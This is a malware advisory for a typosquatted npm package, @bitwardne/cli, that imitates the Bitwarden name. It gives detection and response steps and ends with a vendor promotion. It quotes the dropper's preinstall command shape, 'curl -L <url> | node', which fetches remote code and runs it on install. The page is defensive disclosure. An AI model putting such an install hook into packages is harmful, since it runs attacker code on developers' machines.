@bitwardne/clinpm
Advisory published Updated
@bitwardne/cli is a confirmed malicious npm package (MAL-2026-17693) that executes malicious code on install (malicious version 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @bitwardne/cli (npm)
What this malware does
package.json declares a preinstall lifecycle script of the form 'curl -L <url> | node', which fetches remote content and executes it in Node at npm install time. In this published version the URL slot is empty so the command fails as shipped, but the script shape is a canonical install-time remote-code-execution dropper that fires automatically on npm install. The package is published under the @bitwardne scope — a one-character variation of the Bitwarden brand — while the shipped source is a verbatim copy of the unrelated 'cli' option-parser library by Chris O'Hara (homepage node-js-libs/cli), with no legitimate connection between the scope name and the vendored code.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for @bitwardne/cli (version 1.0.1).
If you installed it — respond
Remove @bitwardne/cli from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @bitwardne/cli was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @bitwardne/cli-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.